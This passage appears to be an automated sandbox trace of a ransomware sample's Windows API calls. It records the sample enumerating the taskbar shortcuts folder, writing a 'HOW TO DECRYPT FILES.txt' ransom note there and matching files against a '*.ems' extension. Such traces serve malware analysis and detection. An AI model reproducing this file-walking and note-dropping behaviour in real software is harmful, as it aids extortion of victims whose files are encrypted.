lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6d0049, dwReserved1=0x6c0070, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0087.992] lstrcmpA (lpString1=".", lpString2="TaskBar") returned -1 [0087.992] lstrcmpA (lpString1="..", lpString2="TaskBar") returned -1 [0087.992] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*") returned="*.*" [0087.992] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0087.992] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0087.993] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.993] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.993] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.993] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.993] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.993] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0087.993] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0087.993] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0087.993] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*") returned="*.*" [0087.993] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0087.993] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0087.993] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0087.993] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0xffffffff [0087.994] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0087.997] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.997] CloseHandle (hObject=0xa0) returned 1 [0087.997] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0087.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini", pszSpec="*.ems") returned 0 [0087.998] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0087.998] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.998] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Google Chrome.lnk") returned -1 [0087.998] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Google Chrome.lnk") returned 1 [0087.998] lstrcmpiA (lpString1="", lpString2="Google Chrome.lnk") returned -1 [0087.998] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="desktop.ini" [0087.998] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0087.998] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0087.998] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0087.998] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0087.998] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" [0087.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk", pszSpec="*.ems") returned 0 [0087.998] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0087.998] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Internet Explorer (2).lnk") returned -1 [0087.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Internet Explorer (2).lnk") returned -1 [0087.999] lstrcmpiA (lpString1="", lpString2="Internet Explorer (2).lnk") returned -1 [0087.999] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned="Google Chrome.lnk" [0087.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0087.999] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0087.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0087.999] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0087.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Internet Explorer (2).lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" [0087.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk", pszSpec="*.ems") returned 0 [0087.999] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0087.999] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Internet Explorer.lnk") returned -1 [0087.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Internet Explorer.lnk") returned -1 [0088.000] lstrcmpiA (lpString1="", lpString2="Internet Explorer.lnk") returned -1 [0088.000] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned="Internet Explorer (2).lnk" [0088.000] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.000] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.000] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Internet Explorer.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" [0088.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk", pszSpec="*.ems") returned 0 [0088.000] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0088.000] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.000] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Mozilla Firefox.lnk") returned -1 [0088.000] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Mozilla Firefox.lnk") returned -1 [0088.000] lstrcmpiA (lpString1="", lpString2="Mozilla Firefox.lnk") returned -1 [0088.000] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned="Internet Explorer.lnk" [0088.000] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.000] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.001] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0088.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk", pszSpec="*.ems") returned 0 [0088.001] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0088.001] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Explorer (2).lnk") returned -1 [0088.001] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Explorer (2).lnk") returned -1 [0088.001] lstrcmpiA (lpString1="", lpString2="Windows Explorer (2).lnk") returned -1 [0088.001] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk" [0088.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.001] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.001] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Windows Explorer (2).lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" [0088.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk", pszSpec="*.ems") returned 0 [0088.002] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: 